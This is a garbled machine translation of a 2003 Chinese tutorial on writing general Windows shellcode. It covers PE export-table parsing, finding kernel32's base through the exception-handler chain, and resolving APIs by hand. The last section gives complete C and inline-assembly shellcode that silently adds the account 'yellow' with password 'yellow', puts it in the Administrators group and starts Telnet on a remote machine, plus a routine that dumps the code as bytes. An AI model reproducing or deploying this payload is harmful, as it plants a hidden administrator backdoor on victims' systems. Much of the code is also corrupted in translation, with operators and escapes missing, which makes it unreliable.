General shellcode in-depth analysis
Author: yellow
Email: Yellow@safechina.net
HOME Page:
Www.safechina.net
Date: 2003-12-19
Preface:
There is a lot of articles about shellcode writing technology, what reason let me write this technical article
Chapter? This article is my last overflow technical article
Online we can often see some articles about shelcode's writing technology, and don't have to prepare for beginners.
Here I will stand in a more detailed analysis of the general shellcode at the perspective of beginners, with the previous overflow
The theory and this artist's general shellcode theory, basically we can overflow vulnerabilities based on some announced Window
It is the overflow vulnerability of some software systems to analyze and prepare some overflow attack test programs.
The article first analyzes the PE file format and PE extraction table, and gives a routine, demonstrate how to according to PE
Related Technology Finds the lead function and its address, and then analyzes a method of comparing the Kernel32 base address.
The final combination of theory is simple to apply, gives a general shellcode.
This article also combines the understanding of my study to describe in a way that is easier to understand, but due to shellcode
Complexity, the article mainly uses C and ASM, the author assumes that you have a certain C / ASM mixed programming basis and on
An overflow theoretical basis, I hope this article can improve friends who have spilled the technology like me.
[table of Contents]
1. Introduction to the PE file structure, and analysis of PE extraction table.
1.1 PE file introduction
1.2 Table Analysis
1.3 Writing a common function of a universal DLL base address using an internal issue
GetFunctionByname
2. Getting method for universal kernel32.dll addresses.
2.1 Structured Abnormal Treatment and TEB Introduction
2.2 Using Internal Continuous Write a common function of the Kernel32.dll function base address
Getkernel32
3, comprehensive use (a simple general shellcode)
3.1 Comprehension The technique explained by the technology to prepare a simple shellcode that adds an account and open Telnet:
According to Article 2, the technology uses our own GetFunctionByname to get LoadLibraryA and
GetProcAddress function address, use these two functions to introduce all the functions we need to achieve expectations
Features.
4, reference information.
5, keyword.
-------------------------------------------------- ------------------------------
First, PE file structure and lead table foundation
1. Introduction to PE file structure
PE (portable executable, transplantation), is a standard format for Microsoft Win32 Environment Executable Documents
(The so-called executable file is not only .exe file, also included .dll / .vxd / .sys / .vdm, etc.)
PE file structure (simplified):
-----------------
│1, DOS MZ HEADER│
-----------------
│2, DOS STUB │
-----------------
│3, PE Header │
-----------------
│4, Section Table│
-----------------
│5, SECTION 1 │
-----------------
│6, Section 2 │
-----------------
│ Section ... │
-----------------
│N, Section N │
-----------------
I remember that when I haven't received Win32 programming, I have run a Win32 executable, and the program only outputs.
I don't think it is very interesting, I think it's interesting.
Do you not under Win32 platform? In fact it doesn't identify, it may be simply to enter this line of text
If the source code is like the following C procedure is as simple as: #include
Void main (void)
{
Printf ("This Program Cannot Be Run in Dos Mode./N");
}
You may ask "I didn't write such a statement when I wrote Win32 programs?", In fact, this is connected by connectors (Linker)
A 16-bit DOS program built for you, when you run a Win32 program under the 16-bit system (DOS / Windows 3.x) it will
The executed output a string of characters prompt users "This program cannot be run in DOS mode."
Let's first see what DOS MZ HEADER is in the end, below is the structure description in Winnt.h:
Typedef struct _image_dos_header {// dos .exe header
Word e_magic; // 0x00 Magic Number
Word e_cblp; // 0x02 Bytes on Last Page Of File
Word E_CP; // 0x04 Pages in file
Word E_CRLC; // 0x06 Relocations
Word e_cparhdr; // 0x08 size of header in paragraphs
Word E_MINALLOC; // 0x0a minimum extra paragraphs needed
Word E_MAXALLOC; // 0x0c Maximum Extra Paragraphs Needed
Word E_ss; // 0x0e Initial (Relative) SS Value
Word E_SP; // 0x10 Initial SP Value
Word E_CSUM; // 0x12 Checksum
Word E_IP; // 0x14 Initial IP Value
Word E_CS; // 0x16 Initial (Relative) CS Value
Word E_LFARLC; // 0x18 File Address of Relocation Table
Word e_ovno; // 0x1a overlay number
Word E_RES [4]; // 0x1c reserved Words
Word E_OEMID; // 0x24 OEM Identifier (for e_oeminfo)
Word E_OEMINFO; // 0x26 OEM Information; E_OEMID Specific
Word E_RES2 [10]; // 0x28 reserved Words
Long E_LFANEW; // 0x3c file address of new exe header
} Image_dos_header, * pimage_dos_header;
DOS MZ Header includes some 16-bit DOS programs, if IP (instruction pointers), CS (code segment registers), need to be assigned memory size, checksum, etc., when DOS is ready to be executable Read it when the file is established
The value is to complete the initialization work.
Note the last structure member? Microsoft's person's description is File Address of New Exe Header
The meaning is "New EXE File Head Address", it is a relative offset value, I think the file offset you must know what it is!
E_LFANew is a file offset value, which pointing to Pe Header, it is very important to us. Tightly follow the dos MZ HEADER
Is DOS stub it is a part of this 16-bit DOS program for Linker for us, which is output.
"This Program Cannot Be Run in dos mode." The following is Pe Header, some people have asked me PE header
Is the offset relative to .exe files fixed? This is not good, the STUB length generated by different compilers may not be the same.
(For example: it might store such a string to prompt users "The currnet OS IS Not Win32, I Want to Run
In Win32 Mode. ", then the length of this STUB will be longer than the previous one, so use a fixed value to locate Pe Header
It is not scientific, this time we used E_LFANEW, it point to the real pehader, is it always correct? That is of course
! Linker always gives it a correct value. So we want it to accurately locate Pe Header, the same Win32 Peloader
It is also based on E_LFanew to locate the true PE Header and perform the presentation of different member values in PE Header, PE is also
Including a lot of "section" (section), use to store data, useful to save the executable code, and is also used to save resources
(Such as: program icon, bitmap, sound, dialog template, etc.)
Below I simply analyze the PE structure and write SHELLCODE-related parts, if you are also interested in other parts
You can look at the Code PE tutorial, I personally feel that it is better to combine the two. 2, the introduction table analysis In the PE HEADER structure (you can find it in Winnt.h), including a DataDirectory structural member array, you can pass In this way, find it: PE head offset = executable file memory image base 0x3c (e_lfanew) PE base = executable file memory image base PE head offset Export table directory pointer (image_export_directory *) = PE base address 0x78 <= --- DataDirectory Export function name table first pointer (char **) = Table of table directory base 0x20 Export function address table first pointer (dword **) = Table table directory pointer 0x1c Its structural definition is like this: Typedef struct _image_data_directory { DWORD VirtualAddress; DWORD ISIZE; } Image_data_directory, * pimage_data_directory; This structure includes 16 members, and the first member's VirtualAddress stores a relative offset, which points to one Image_export_directory structure, its definition is like this: Typedef struct_image_export_directory { DWord Characteristics; // 0x00 DWORD TIMEDATESTAMP; // 0x04 Word Majorversion; // 0x08 Word minorversion; // 0x0a Dword name; // 0x0c DWORD base; // 0x10 DWORD NUMBEROFFUNCTION; // 0x14dword NumberOfNames; // 0x18 DWord Addressoffunctions; // 0x1c RVA from Base of Image DWord AddressOfnames; // 0x20 RVA from Base of Image DWord AddressOfnameRinals; // 0x24 RVA from base of Image } Image_export_directory, * pimage_export_directory; One of the ADDRESSOFFunctions has stored a secondary pointer, which points to a DWORD type pointer number Group members refer to the function address value, but the value is a function of the function relative to the executable Relative offset value, the real function address is equal to this relative offset value executable base address in the memory image, I We can call the true address of Call to call the function. AddressofNames is a secondary character pointer, the array Members are referring to a deviation value of the function name string relative to the base address of the executable in the memory image. The function name string can be referenced by the relative offset value executable file in the memory image .Name is also one The character pointer, it also stores relative offset values, if it is image_export_directory of Kernel32, it points to The string is "kernel32.dll". 3, this section application example We have analyzed the part of writing Shellcode, which is indeed a bit difficult to analyze the close-related part of writing shellcode. But be sure to figure it out, only to understand us to learn the next section, in this section, the final attached a small program, A large number of "indirect references" in the internal joint distribution code, if you are very familiar with the pointer, it is very understandable, in the program I We realize the features of Windows API GetProcadDress, which is also the use of some unapproved system functions. Very useful. ------------ -------------------------------------- --- The getFunctionByname function can look up the extraction table in a PE execution file and return to the extracted function address, only Need to know the base address value of kernel32.dll, use it in this program, we do not include the header file or use any one. Windows API. On my machine it is the 0x77E60000 program as follows: //GetfunctionByname.c // Prototype: DWORD getFunctionByname (DWORD ImageBase, Const Char * FuncName, INT FLEN); //parameter: // imagebase: Memory image base of executable file // FuncName: Function Name Pointer // flen: Function name length //return value: The // The function returns a valid function address when the function is successful, and it returns 0 when it fails. // Eventually, when writing shellcode, the function should be added to the __inline declaration because it is integrated with shellcode. // Note that in this case we do not include any .h file Unsigned int getFunctionByname (unsigned int imagebase, const char * funcname, int flen) { Unsigned int firenameArray, PE, count = 0, * IED; __ASM { MOV EAX, ImageBase Add Eax, 0x3c // Point to PE head offset value E_LFANEW MOV EAX, [EAX] / / get an E_LFANEW value Add eax, imagebase // point to PE Header CMP [EAX], 0x00004550 JNE NOTFOUND // If the imagebase handle is wrong Mov PE, EAX Mov Eax, [EAX 0x78] Add Eax, ImageBase MOV [IED], EAX / / Point Image_Export_Directory // Mov Eax, [EAX 0x0c] // add eax, imagebase // Point to the extraction module name, if it is looking for the leader of the Kernel32.dll, it will point to "kernel32.dll" // Mov Eax, [IED] Mov Eax, [EAX 0x20] Add Eax, ImageBase MOV FunNameArray, Eax // Save Function Name Pointer Pointer value MOV ECX, [IED] MOV ECX, [ECX 0x14] / / According to the number of numberoffunctions of the lead function, the maximum number of findings Findloop: PUSH ECX // uses a small trick, using the program loop easier Mov Eax, [EAX] Add Eax, ImageBase Mov ESI, FUNCNAME Mov Edi, EAX MOV ECX, Flen // Compare characters one by one, if the same is found, pay attention to the ECX value here CLD REP CMPSB JNE FINDNEXT / / If the current function is not a specified function, look for the next one Add ESP, 4 // If the lookup is successful, clear the ECX used to control the outer loop, ready to return MOV EAX, [IED] MOV EAX, [EAX 0x1c] Add Eax, ImageBase // Get the function address table SHL COUNT, 2 / / According to the function index calculation function address pointer = function address table base address (function index * 4) Add Eax, Count MOV EAX, [EAX] // Get the relative offset of the function address Add eax, imagebase // calculate function true address and return to the caller via EAX JMP Found FINDNEXT: INC Count // Record Function Index Add [funnameArray], 4 // Next function name pointer Mov Eax, FunnameArray POP ECX // Restore Press ECX (Numberoffunctions), counting cycles Loop Findloop // If the ECX is not 0, it is decremented and returned to Findloop, look for later NOTFOUND: XOR EAX, Eax // If not found, return 0 Found: } } / * Let's test it, first get LoadLibrarya in Kernel32.dll with getFunctionByname Address, use it to load user32.dll, then get the address of Messageboxa with getfunctionByname, Call It * / Int main (void) { Char title [] = "test", user32 [] = "user32", msgf [] = "messageboxa"; Unsigned int loadLibfun; LoadLibfun = getFunctionByname (0x77e60000, "LoadLibrarya", 12); // 0x77e60000 is the base address of the kernel32.dll on my machine, the values on different machines may be different. __ASM { Lea Eax, User32 Push EAX Call dword ptr loadLibfun // is equivalent to executing LoadLibrary ("User32"); LEA EBX, MSGF Push 0x0b // "Messageboxa" length Push EBX Push EAX Call getFunctionByname MOV EBX, EAX Add ESP, 0x0c // getFunctionByname Using C calls, adjust the stack by the caller PUSH 0 Lea Eax, Title Push EAX Push EAX PUSH 0 Call EBX / / is equivalent to executing MessageBox (Null, "Test", "Test", MB_OK)} Return 1; } The inline assembly code of the function has a lot of statements: Mov Eax, [Somewhere] MOV EAX, [EAX 0x ??] Add Eax, ImageBase I tried the syntax used by MOV EAX, [ImageBase Eax 0x ??], because of many plots, and they point to It is also the relative offset, so "acquisition and calculation", it is easy to lead to "access violations". Compile operation, popping up Is a Messagebox title and content that "TEST" saw? You may ask this program to get other machines Running? In the entire program, our only dependence is 0x77e60000 this kernel32.dll base address, other machines May not this value, if this address value can be calculated during the operation of the program, then this program will be very pass. Use it, can it be dynamically calculated? The answer is yes! The next section we will analyze one is not very popular but very common. A method of obtaining a Kernel32.dll base address. -------------------------------------------------- ------------------------------- Second, the analysis of kernel32.dll address method in dynamics 1. Structured abnormal treatment (SEH, STRUCTRED Exception Handling) SEH is no very new, but it is very important for me to talk about it, so I am a simple one here. Analysis. OK, open VC, let us analyze a simple "division" computing program to see where it has a problem: #include #include Int main (void) { INT X, Y, Z = Y = x = 0; Printf ("INPUT TWO Integer Number:"); Scanf ("% D% D", & x, & y); z = x / y; Printf ("% D DIV% D =% D", X, Y, Z); Getch (); Return 0; } Compile, run: Enter 4 2, the program output "4 DIV 2 = 2", the result is correct. Run the input 4 0, the problem came out, Visual Studio popped up a message: "Unhandled Exception in Seh.exe: 0xc0000094: Integer Divide By Zero", unprocessed "Except for 0 abnormal", the traditional method is that we add judgment before z = x / y: #include #include Int main (void) { INT X, Y, Z = Y = x = 0; Printf ("INPUT TWO Integer Number:"); Scanf ("% D% D", & x, & y); IF (! y) { Printf ("CAN NOT DIVIDE BY ZERO!"); Goto lquit; } z = x / y; Printf ("% D DIV% D =% D", X, Y, Z); Lquit: Getch (); Return 0; } Error handling in this small program is really easy to understand, but think about if there are thousands or even tens of thousands of rows, such Error Capture Processing will make the program very messy, and the traditional method is handled in what we can imagine (guess), But some guidelines are very random, so they can't guarantee the robustness of the program, and SEH is in order to make it Often processing code and error handling code are separated to make the program structure clear, and make the program more robust. Let's change this applet: #include #include #include Int main (void) { INT X, Y, Z = Y = x = 0; Printf ("INPUT TWO Integer Number:"); Scanf ("% D% D", & x, & y); __TRY {// Package the block that may be wrong z = x / y; // ...... } __EXCEPT (Exception_execute_Handler) {// Find out the cause of abnormalities, and process Switch (getExceptioncode ()) { CASE EXCEPTION_INT_DIVIDE_BY_ZERO: // If 0 exception { Printf ("CAN NOT DIVIDE BY ZERO!"); Goto lquit; } Case exception_access_violation: // Memory Access violation { // ..... Break; } // DO Other ... DEFAULT: Break; } } Printf ("% D DIV% D =% D / N", X, Y, Z); Lquit: Getch (); Return 0; } In this way, we will make the final capture, compile, select "Disassembly", you can see this code: Push offset __except_handler3 (00401330) Mov Eax, fs: [00000000] Push EAX MOV DWORD PTR FS: [0], ESP This is actually the registration method of the standard SEH exception handler, and our __except () {} is actually used as one when compiling. Thread-related exception handler, actually the role of this code is to add our exception handler to an exception chain Table Exception_Registration_Record, FS: [0] is the first pointer to this exception handler linked list, its last record Node pointer points to 0xfffffffff. Its structure description is like this: TypeDef struct _exception_registration_record { struct _exception_registration_record * pnext; // Point to the node behind FarProc PFNHandler; / / Point to anomalous handler } EXCEPTION_REGISTRATION_RECORD, * PEXCEPTION_REGISTRATION_RECORD; You may ask "How do you know fs: [0] is the first pointer of this structure?", Of course, I don't have that talented, from the Windows 95 system program The design book can be known whenever a thread is created, and the system will allocate TEB (Thread Environment Block) for each thread. In Windows 9x is called Tib (Thread Information Block, TEB is always placed in the data segment specified in the FS segment selector 0 offset. ------------------------------------- ---------------- Look at the structure of TEB, you will understand: Typedef struct_tib { PEXCEPTION_REGISTRATION_RECORD PVEXCEPT; // 00h Head of exception record list <= --- Pay attention to this pointer member -------------------------------------------------- ------- pvoid pvstackusertop; // 04h Top of User Stack Pvoid PvStackuserBase; // 08H Base of User Stack Union // 0ch (NT / WIN95 DIFFERENCES) { Struct // Win95 Fields { Word pvtdb; // 0ch tdb Word pvthunkss; // 0eh ss selector used for thunking to 16 bits DWORD UNKNOWN1; // 10h } Win95; Struct // Winnt Fields { Pvoid subsystemtib; // 0ch Ulong fiberdata; // 10h Winnt; } TIB_Union1; PVOID PVARBITRARY; / / 14H Available for Application USE Struct_tib * ptibself; // 18h Linear Address of Tib Structure Union // 1CH (NT / Win95 Differences) { Struct // Win95 Fields { Word Tibflags; // 1ch Word win16mutexcount; // 1eh DWORD DebugContext; // 20h DWORD PCURRENTPRIORITY; / / 24H DWORD PVQUEUE; // 28h Message Queue Selector } Win95; Struct // Winnt Fields { DWORD UNKNOWN1; // 1CH DWORD processID; // 20h <= - pay attention to this and one member // ------------- DWORD THREADID; / / 24H <= ---- Pay attention to this member // ------------- DWORD UNKNOWN2; / / 28H Winnt; } TIB_Union2; PVOID * PVTLSARRAY; // 2ch thread local storage array Union // 30h (NT / WIN95 DIFFERENCES) { Struct // Win95 Fields { PVOID * PPRocess; // 30h Pointer to Owning Process Database } Win95; } TIB_UNION3; } TIB, * PTIB; Did you see? The first member of Teb is an exception handling chain head pointer Head of Exception Record List, it relative The TEB first address 0x00 offset, and Teb is always placed at the 0x00 offset of the FS segment register, that is, the 0x00 offset of the FS segment register. Seeing the other two members I let you pay attention to? ProcessID stores the ID number of the current threading process, threadid stores the current thread ID number, so we can achieve two Windows APIs: //Myapi.c #include #include __inline __declspec (naked) DWORD GETCURRENTPROCESSID2 (Void) { __ASM { MOV EAX, FS: [0x20] // Read the contents of the Teb, returned by EAX RET } } __inline __declspec (naked) DWORD GETCURRENTTHREADID2 (VOID) { __ASM { MOV EAX, FS: [0x24] // Read TEB's ThreadID member content, return via EAX RET } } //have a test Void main (void) { Printf ("My PID =% D / TAPI PID =% D / N", getCurrentProcessid2 (), getCurrentProcessId ()); Printf ("My TID =% D / TAPI TID =% D / N", getCurrentThreadID2 (), getCurrentThreadId ()); Getch (); } Program output: My pid = 1448 API PID = 1448 My TID = 1204 API TID = 1204 Note that different machines, the values output here may not be the same, but my PID is equal to API PID, My TID constant API TID. It's interesting! Sarre to say so much, then what is the relationship between these and get the kernel32.dll base? Don't worry, continue to see you Will understand! 2. Find the Kernel32.dll base address through an exception handler Let us now look at the order of abnormal processing, it is like this: When an exception occurs, the system will read the exception handle function Link list from FS: [0], start to ask all registered in the application. Exception handler, such as "except 0 exception" above, the system will notify our exception handler, the function identifies "except 0 abnormal", And give the system (output "Can Not Divide By Zero!"), And tell the system "I have already handled it, don't ask other functions." If our function is not intended to handle this exception can handle other exception handle functions pointing to the exception handler pointer in the brothers node Processing, if the exception handles registered in the program do not process this exception, then the system will send it to the current debugging tool, if the application is If you don't deal with this exception before debugging or debugging tools, the system will send it to the unhandledExceptionFilter of Kernel32. The function is handled, of course it is a PFNHandler that is the last node of the program exception handling chain (refer to exception_registration_record) The function pointer member points to the PNEXT member of the node points to 0xfffffffff. Have you seen so many inspiration? We already have the address of the lead function of kernel32.dll, can't find its base address Do you look at the little program below! / * Prototype: Unsigned Int Getkernel32 (Void); Parameters: no return value: Function always returns the base address of kernel32.dll Description: From the PE executable feature, from the UnhandleDexceptionFilter function address, linearly, use __inline is for The final shellcode is integrated, using __declspec (naked) is to generate some "nonsense" in order not to let the compiler self-intelligence generation, let it Fully describe functions in our own ASM statement. * / #include #include __inline __declspec (naked) unsigned int getkernet () { __ASM { PUSH ESI Push ECXMOV ESI, FS: 0 Lodsd GetExeceptionFilter: CMP [EAX], 0xfffffffff JE getEDEXECEPTIONFILTER / / If the last node is reached (its PFNHandler points unhandexceptionFilter) Mov eax, [eax] / / otherwise traversed, until the last node JMP getExeceptionFilter GetExeceptionFilter: Mov Eax, [EAX 4] FindMZ: And Eax, 0xffff0000 // Perform file according to PE, speed up the lookup speed CMP Word PTR [EAX], 'ZM' / / The base address of kernel32.dll is found according to PE executable feature. JNE MOVEUP // If the current address does not match the full MZ header feature, look up MOV ECX, [EAX 0x3c] Add ECX, EAX CMP Word PTR [ECX], 'EP' // Find the base address of kernel32.dll according to PE executable feature JE FOUND / / If MZ and PE head feature, Je Found // is considered to be found and returned to the caller via EAX Moveup: Dec Eax // Prepare to point the next boundary start address JMP FindMZ Found: POP ECX POP ESI RET } } Void main (void) { Printf ("% 0.8x / n", get kernel32 ()); Getch (); } After completing the study of this section, you should master several technologies that are often used to write viruses and shellcode: 1. Find the lead function address according to the PE file 2, dynamic calculation of the base address of kernel32.dll 3, dynamically load required RTM and WINDOWS API (s) In the last section we will make a comprehensive application of the techniques analyzed in front, write a simple shellcode -------------------------------------------------- ------------------------------------------ Third, comprehensive use In this section, we will write a simple general shellcode in the previous analysis, this shellcode will first create a new one on the remote machine. User, user name Yellow, password Yellow, if the user may be added to the Administrators user group, if possible, Telnet Service, please pay attention to my coding style, this style is very convenient for future shellcode functional expansion. The source program is as follows: /// #include #include #include #include / / Define API and DLL names and its storage order, good coding style provides great convenience for future development. #define apistart 0 #define getProcaddress (apistart 0) #define loadLibrary (apistart 1) #define EXITPROCESS (Apistart 2) #define Winexec (Apistart 3) #define knlstart (EXITPROCESS) #define knlend (Winexec) #define nknlapi (4) #define WSOCKSTART (Knlend 1) #define socket (WSOCKSTART 0) #define bind (WsockStart 1) #define connection (WSOCKSTART 2) #define accept (WSOCKSTART 3) #define listen (WSOCKSTART 4) #define send (WSOCKSTART 5) #define Recv (WSOCKSTART 6) #define clossoSocket (WSOCKSTART 7) #define WSAStartup (WSOCKSTART 8) #define wsacleanup (WSOCKSTART 9) #define wsockend (WSacleanup) #define nwsockapi (10) // define NetApi, RPCAPI ...... #define napis (nknlapi nwsockapi / * nnetapi NRPCAPI ....... * /) #define dllstart 0 #define kerneldll (DLLSTART 0) #define WS2_32DLL (DLLSTART 1) #define dllend (WS2_32DLL) #define ndlls2 #define command_start 0 #define command_adduser (Command_Start 0) #define command_setUseradmin (Command_Start 1) #define command_opentlnt (Command_Start 2) #define command_end (Command_OpenTLNT) #define ncmd3 Void shellcodefun (void) { DWORD ImageBase, IED, FunnameArray, PE, Count, Flen, DLLS [NDLLS]; INT I; Char * funcname, * apinames [napis], * dllnames [ndlls], * cmd [ncmd]; FarProc API [NAPIS]; __ASM {// 1, manually obtain the kernel32.dll base address, and get the LoadLibrarya and getProcAddress function addresses PUSH ESI Push ECX MOV ESI, FS: 0 Lodsd GetExeceptionFilter: CMP [EAX], 0xfffffffff Je getEdexeceptionFilter Mov Eax, [EAX] JMP getExeceptionFilter GetExeceptionFilter: Mov Eax, [EAX 4] FindMZ: And Eax, 0xffff0000 CMP Word PTR [EAX], 'ZM' JNE Moveup MOV ECX, [EAX 0x3c] Add ECX, EAX CMP Word PTR [ECX], 'EP' Je Foundknl Moveup: Dec EAX JMP FindMZ Foundknl: POP ECX POP ESI MOV DLLS [Kerneldll * Type DWORD], EAX Mov ImageBase, EAX Call LgetProcaddress _emit 'g'; _emit 'e'; _emit 't'; _EMIT 'P'; _emit 'r'; _emit 'o'; _EMIT 'C'; _emit 'a'; _emit 'd'; _emit 'd'; _emit 'r'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LgetPROCADDRESS: POP EAX Mov apinames [getProcaddress * 4], EAX Mov FuncName, EAX MOV Flen, 0x0d Mov count, 0 Call FindApi Mov API [GetProcaddress * Type FarProc], EAX Call loadingLibrarya _emit 'l'; _emit 'o'; _emit 'a'; _emit 'd'; _emit 'l'; _emit 'I'; _emit 'b'; _emit 'r'; _emit 'a'; _emit 'r'; _EMIT 'Y'; _emit 'a'; _emit 0x00 LoadLibrarya: POP EAX Mov Apinames [LoadLibrary * 4], EAX Mov FuncName, EAX MOV Flen, 0x0b Mov count, 0 Call FindApi Mov API [LoadLibrary * Type FarProc], EAX } __ASM { // 2, fill in the required DLL name, note the same as the macro sequence defined above Call keNel32 _emit 'k'; _emit 'e'; _emit 'r'; _emit 'n'; _emit 'e'; _emit 'l'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'L' _emit 'L' _emit 0x00 Kernel32: POP DLLNAMES [kerneldll * 4] Call WS2_32 _EMIT 'W'; _emit 's'; _emit '2'; _emit '_'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'L' _emit 'L' _emit 0x00 WS2_32: POP DLLNAMES [WS2_32DLL * 4] // 3, fill in other API names, note that the above definition is the same as the above Call LexitProcess // 1 _emit 'e'; _EMIT 'X'; _emit 'I'; _emit 't'; _EMIT 'P'; _emit 'r'; _emit 'o'; _EMIT 'C'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LexitProcess: POP APINAMES [EXITPROCESS * 4] Call lwinexec // 2 _EMIT 'W'; _emit 'I'; _emit 'n'; _emit 'e'; _EMIT 'X'; _emit 'e'; _EMIT 'C'; _emit 0x00 Lwinexec: POP APINAMES [Winexec * 4] Call lsocket //3 _emit 's'; _ EMIT 'O'; _EMIT 'C'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 Lsocket: POP APINAMES [Socket * 4] Call lbind // 4 _emit 'b'; _emit 'I'; _emit 'n'; _emit 'd'; _emit 0x00 Lbind: POP APINAMES [Bind * 4] Call lconnect _EMIT 'C'; _emit 'o'; _emit 'n'; _emit 'n'; _emit 'e'; _EMIT 'C'; _emit 't'; _emit 0x00 LCONNECT: POP APINAMES [Connect * 4] Call laccept //5 _emit 'a'; _EMIT 'C'; _EMIT 'C'; _emit 'e'; _EMIT 'P'; _emit 't'; _emit 0x00 Laccept: POP Apinamescall Llisten // 6 _emit 'l'; _emit 'I'; _emit 's'; _emit 't'; _emit 'e'; _emit 'n'; _emit 0x00 Llisten: POP APINAMES [Listen * 4] Call Lsend // 7 _emit 's'; _emit 'e'; _emit 'n'; _emit 'd'; _emit 0x00 Lsend: POP APINAMES [Send * 4] Call LRECV / / 8 _emit 'r'; _emit 'e'; _EMIT 'C'; _emit 'v'; _emit 0x00 LRECV: POP APINAMES [Recv * 4] Call CloseSocketl // 9 _EMIT 'C'; _emit 'l'; _emit 'o'; _emit 's'; _emit 'e'; _emit 's'; _emit 'o'; _EMIT 'C'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 CloseSocketl: POP APINAMES [CloseSocket * 4] Call wsastartupl // 10 _EMIT 'W'; _emit 's'; _emit 'a'; _emit 's'; _emit 't'; _emit 'a'; _emit 'r'; _emit 't'; _emit 'u'; _EMIT 'P'; _emit 0x00 WSAStartUPL: POP APINAMES [WSAStartup * 4] Call wsacleanupl // 11 _EMIT 'W'; _ EMIT 'S'; _emit 'a'; _EMIT 'C'; _emit 'l'; _emit 'e'; _emit 'a'; _emit 'n'; _emit 'u'; _EMIT 'P'; _emit 0x00 WSACLEANUPL: POP APINAMES [WSACLANUP * 4] // NOP; you can set up a breakpoint here to see if Dllnames and Apinames are filled in the required content //fill in } // 3, load all the needs of the DLL For (i = dllstart; i <= dllend; i ) { DLLS [I] = API [LoadLibrary] (Dllnames [i]); } // 4, get all the required API //4.1 gets Windows Kernel API For (i = knlstart; i <= knlend; i ) { API [I] = API [GetProcaddress] (DLLS [kerNeldll], APINAMES [I]); } //4.2 gets Windows Sockets API For (i = wsockstart; i <= wsockend; i ) { API [I] = API [GetProcaddress] (DLLS [WS2_32DLL], APINAMES [I]); } // 5, write shellcode functional parts __ASM { Call Putcommand_Adduser _EMIT 'N' _emit 'e' _EMIT 'T' _emit '' _emit 'u' _EMIT 'S' _emit 'e' _EMIT 'R' _emit '' _EMIT 'Y' _emit 'e' _emit 'L' _emit 'L' _emit 'o' _EMIT 'W' _emit '' _EMIT 'Y' _emit 'e' _emit 'L' _emit 'L' _emit 'o' _EMIT 'W' _emit '' _EMIT '/' _EMIT 'A' _emit 'd' _emit 'd' _emit 0x00 Putcommand_adduser: POP cmd [command_adduser * 4] Call Putcommand_setUseradmin _EMIT 'N' _emit 'e' _EMIT 'T' _emit '' _emit 'L' _emit 'o' _EMIT 'C' _EMIT 'A' _emit 'L' _EMIT 'G' _EMIT 'R' _emit 'o' _emit 'u' _EMIT 'P' _emit '' _EMIT 'A' _emit 'd' _EMIT 'M' _EMIT 'I'_EMIT' N ' _emit 'I' _EMIT 'S' _EMIT 'T' _EMIT 'R' _EMIT 'A' _EMIT 'T' _emit 'o' _EMIT 'R' _EMIT 'S' _emit '' _EMIT 'Y' _emit 'e' _emit 'L' _emit 'L' _emit 'o' _EMIT 'W' _emit '' _EMIT '/' _EMIT 'A' _emit 'd' _emit 'd' _emit 0x00 Putcommand_setUseradmin: POP cmd [command_setuseradmin * 4] Call Putcommand_OpenTlnt _EMIT 'N' _emit 'e' _EMIT 'T' _emit '' _EMIT 'S' _EMIT 'T' _EMIT 'A' _EMIT 'R' _EMIT 'T' _emit '' _EMIT 'T' _emit 'L' _EMIT 'N' _EMIT 'T' _EMIT 'S' _emit 'v' _EMIT 'R' _emit 0x00 Putcommand_opentlnt: POP cmd [command_opentlnt * 4] } // __ASM INT 3 // Use breakpoints in the Release version // 6, execute the command to create a new user, add the user to Administrators, and turn on the standard Telnet service For (i = command_start; i <= command_end; i ) API [Winexec] (CMD [I], SW_HIDE); / * We have introduced some commonly used kernel APIs and Winsock APIs, you can do more in-depth here. Development (such as we can use Winsock yourself to implement a Telnet server). * / API [EXITPROCESS] (0); // Use EXITPROCESS to exit shellcode to reduce errors __ASM { / * Subprint Findapi, modified by getFunctionByname you explained in front of me Entrance parameters: ImageBase: DLL base FuncName: Retrieved function names need to be found Flen: The length of the function is taken, and it can be shorter than the lead function name without repetition. Count: Terminal Function The index starts, usually set it to 0. Export parameters: If the lookup successfully eax returns a valid function address, otherwise returns 0 * / FindAPI: MOV EAX, ImageBase Add Eax, 0x3c // Point to PE head offset value E_LFANEW MOV EAX, [EAX] / / get an E_LFANEW value Add eax, imagebase // point to PE Header CMP [EAX], 0x00004550 JNE NOTFOUND // If the imagebase handle is wrong Mov PE, EAX Mov Eax, [EAX 0x78] Add eax, imagebase // pointing image_export_directory MOV [IED], EAX Mov Eax, [EAX 0x20] Add Eax, ImageBasemov FunnameArray, Eax / / Save Function Name Pointer Pointer Pointer MOV ECX, [IED] MOV ECX, [ECX 0x14] / / According to the number of numberoffunctions of the lead function, the maximum number of findings Findloop: PUSH ECX // uses a small trick, using the program loop easier Mov Eax, [EAX] Add Eax, ImageBase Mov ESI, FUNCNAME Mov Edi, EAX MOV ECX, Flen // Compare characters one by one, if the same is found, pay attention to the ECX value here CLD REP CMPSB JNE FINDNEXT / / If the current function is not a specified function, look for the next one Add ESP, 4 // If the lookup is successful, clear the ECX used to control the outer loop, ready to return MOV EAX, [IED] MOV EAX, [EAX 0x1c] Add Eax, ImageBase // Get the function address table SHL COUNT, 2 / / According to the function index calculation function address pointer = function address table base address (function index * 4) Add Eax, Count MOV EAX, [EAX] // Get the relative offset of the function address Add eax, imagebase // calculate function true address and return to the caller via EAX JMP Found FINDNEXT: INC Count // Record Function Index Add [funnameArray], 4 // Next function name pointer Mov Eax, FunnameArray POP ECX // Restore Press ECX (Numberoffunctions), counting cycles Loop Findloop // If the ECX is not 0, it is decremented and returned to Findloop, look for later NOTFound: XOR EAX, Eax // If not found, return 0 Found: RET // SHELLCODE end identifier _EMIT '*' _EMIT '*' } } Void Aboutme (Void) { Printf ("/ T / N"); Printf ("/ T Shellcode Demo! / N"); Printf ("/ T Code by Yellow / N"); PRINTF ("/ T Date: 2003-12-21 / N"); Printf ("/ t email: Yellow@safechina.net / n"); Printf ("/ T Home Page: www.safechina.net / n "); Printf ("/ T / N"); } Void Printsc (Unsigned Char * SC) { INT x = 0; Printf ("unsigned char shellcode [] = {"); While (1) { IF ((* SC == '*') && (* (SC 1) == '*')) Break; if (! (x % 10)) Printf ("/ n / t"); Printf ("0x% 0.2x,", * SC ); } Printf ("/ 